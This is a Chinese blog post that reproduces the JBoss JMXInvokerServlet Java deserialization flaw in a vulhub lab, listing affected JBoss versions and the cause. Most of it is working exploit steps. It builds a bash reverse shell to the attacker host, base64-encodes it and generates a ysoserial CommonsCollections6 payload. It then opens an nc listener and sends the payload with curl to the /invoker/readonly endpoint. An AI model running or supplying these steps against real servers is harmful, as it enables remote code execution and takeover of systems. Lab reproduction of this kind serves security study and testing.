Jboss JMXInvokerServlet-deserialization漏洞复现

发布于:2022-12-23 ⋅ 阅读:(258) ⋅ 点赞:(0)

Jboss JMXInvokerServlet-deserialization漏洞复现

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞成因

JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

漏洞利用

环境准备

名称 IP
攻击机 192.168.159.174
靶机 192.168.159.129

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.159.129:8080即可

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

image-20220908110234697

漏洞复现

首先准备好生成payload的工具:ysoserial.jar

然后准备好反弹shell的命令,需要对其进行base64加密

//反弹shell命令,注意替换为自己的
bash -i >& /dev/tcp/192.168.159.174/6666 0>&1
//base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xNzQvNjY2NiAwPiYx
java  -jar  ysoserial.jar  CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xNzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

执行完上述命令会生成一个poc.ser文件,接下来新打开一个cmd窗口执行以下命令:

nc -lvvp 6666

监听启动后再执行下述指令:

curl http://192.168.159.129:8080/invoker/readonly --data-binary @poc.ser

可以看到如下图,反弹shell成功,此漏洞利用成功

image-20220908113311753

本文含有隐藏内容,请 开通VIP 后查看